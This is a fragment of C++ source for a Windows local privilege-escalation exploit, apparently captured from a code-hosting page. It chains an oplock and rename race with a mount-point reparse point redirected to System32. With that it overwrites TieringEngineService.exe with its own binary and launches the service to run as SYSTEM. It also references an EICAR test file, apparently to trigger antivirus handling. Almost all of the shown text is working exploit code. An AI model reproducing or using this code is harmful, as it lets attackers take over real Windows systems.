FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 };
|
||||||
|
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
|
||||||
|
CloseHandle(hfile);
|
||||||
|
DoCloudStuff(workdir, filename, sizeof(eicar) - 1);
|
||||||
|
|
||||||
|
OVERLAPPED ovd = { 0 };
|
||||||
|
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||||
|
|
||||||
|
SetEvent(gevent);
|
||||||
|
|
||||||
|
WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);
|
||||||
|
|
||||||
|
NTSTATUS stat;
|
||||||
|
wchar_t ntfoo[MAX_PATH] = { L"\\??\\" };
|
||||||
|
wcscat(ntfoo, foo);
|
||||||
|
UNICODE_STRING _foo = { 0 };
|
||||||
|
RtlInitUnicodeString(&_foo, ntfoo);
|
||||||
|
OBJECT_ATTRIBUTES _objattr = { 0 };
|
||||||
|
InitializeObjectAttributes(&_objattr, &_foo, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
|
||||||
|
wchar_t _tmp[MAX_PATH] = { 0 };
|
||||||
|
wsprintf(_tmp, L"\\??\\%s.TMP", workdir);
|
||||||
|
MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);
|
||||||
|
if (!CreateDirectory(workdir, NULL))
|
||||||
|
{
|
||||||
|
printf("Failed to re-create directory.\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
LARGE_INTEGER fsz = { 0 };
|
||||||
|
fsz.QuadPart = 0x1000;
|
||||||
|
stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);
|
||||||
|
if (stat)
|
||||||
|
{
|
||||||
|
printf("Failed to re-open spoof work file, error : 0x%0.8X\n", stat);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
|
||||||
|
if (GetLastError() != ERROR_IO_PENDING)
|
||||||
|
{
|
||||||
|
printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hmap = CreateFileMapping(hfile, NULL, PAGE_READONLY, NULL, NULL, NULL);
|
||||||
|
void* mappingaddr = MapViewOfFile(hmap, PAGE_READONLY, NULL, NULL, NULL);
|
||||||
|
|
||||||
|
DWORD nbytes = 0;
|
||||||
|
GetOverlappedResult(hfile, &ovd, &nbytes, TRUE);
|
||||||
|
UnmapViewOfFile(mappingaddr);
|
||||||
|
CloseHandle(hmap);
|
||||||
|
|
||||||
|
|
||||||
|
{
|
||||||
|
wchar_t _tmp[MAX_PATH] = { 0 };
|
||||||
|
wsprintf(_tmp, L"\\??\\%s.TEMP2", workdir);
|
||||||
|
|
||||||
|
PFILE_RENAME_INFORMATION pfri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
|
||||||
|
ZeroMemory(pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)));
|
||||||
|
pfri->ReplaceIfExists = TRUE;
|
||||||
|
pfri->FileNameLength = (sizeof(wchar_t) * wcslen(_tmp));
|
||||||
|
memmove(&pfri->FileName[0], _tmp, (sizeof(wchar_t) * wcslen(_tmp)));
|
||||||
|
stat = _NtSetInformationFile(hfile, &iostat, pfri, sizeof(FILE_RENAME_INFORMATION) + (sizeof(wchar_t) * wcslen(_tmp)), (FILE_INFORMATION_CLASS)10);
|
||||||
|
_NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
|
||||||
|
}
|
||||||
|
wchar_t _rp[MAX_PATH] = { L"\\??\\" };
|
||||||
|
wcscat(_rp, workdir);
|
||||||
|
UNICODE_STRING _usrp = { 0 };
|
||||||
|
RtlInitUnicodeString(&_usrp, _rp);
|
||||||
|
InitializeObjectAttributes(&_objattr, &_usrp, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
HANDLE hrp = NULL;
|
||||||
|
stat = NtCreateFile(&hrp, FILE_WRITE_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
|
||||||
|
if (stat)
|
||||||
|
{
|
||||||
|
printf("Failed to re-open work directory.\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };
|
||||||
|
DWORD targetsz = wcslen(rptarget) * 2;
|
||||||
|
DWORD printnamesz = 1 * 2;
|
||||||
|
DWORD pathbuffersz = targetsz + printnamesz + 12;
|
||||||
|
DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;
|
||||||
|
REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);
|
||||||
|
rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
|
||||||
|
rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);
|
||||||
|
rdb->Reserved = NULL;
|
||||||
|
rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;
|
||||||
|
rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);
|
||||||
|
memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);
|
||||||
|
rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);
|
||||||
|
rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);
|
||||||
|
memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);
|
||||||
|
DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL);
|
||||||
|
HeapFree(GetProcessHeap(), NULL, rdb);
|
||||||
|
|
||||||
|
HANDLE hlk = NULL;
|
||||||
|
|
||||||
|
HANDLE htimer = CreateWaitableTimer(NULL, FALSE, NULL);
|
||||||
|
LARGE_INTEGER duetime = { 0 };
|
||||||
|
GetSystemTimeAsFileTime((LPFILETIME)&duetime);
|
||||||
|
ULARGE_INTEGER _duetime = { duetime.LowPart, duetime.HighPart };
|
||||||
|
_duetime.QuadPart += 0x2FAF080;
|
||||||
|
duetime.QuadPart = _duetime.QuadPart;
|
||||||
|
CloseHandle(hfile);
|
||||||
|
for (int i = 0; i < 1000; i++)
|
||||||
|
{
|
||||||
|
wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };
|
||||||
|
UNICODE_STRING _malpath = { 0 };
|
||||||
|
RtlInitUnicodeString(&_malpath, malpath);
|
||||||
|
OBJECT_ATTRIBUTES objattr2 = { 0 };
|
||||||
|
InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
IO_STATUS_BLOCK iostat = { 0 };
|
||||||
|
stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);
|
||||||
|
if (!stat)
|
||||||
|
break;
|
||||||
|
Sleep(20);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (stat != STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
printf("Something went wrong.\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("The red sun shall prevail.\n");
|
||||||
|
|
||||||
|
CloseHandle(hlk);
|
||||||
|
CloseHandle(hrp);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
wchar_t mx[MAX_PATH] = { 0 };
|
||||||
|
GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);
|
||||||
|
wchar_t mx2[MAX_PATH] = { 0 };
|
||||||
|
ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);
|
||||||
|
CopyFile(mx, mx2, FALSE);
|
||||||
|
LaunchTierManagementEng();
|
||||||
|
Sleep(2000);
|
||||||
|
CloseHandle(hpipe);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue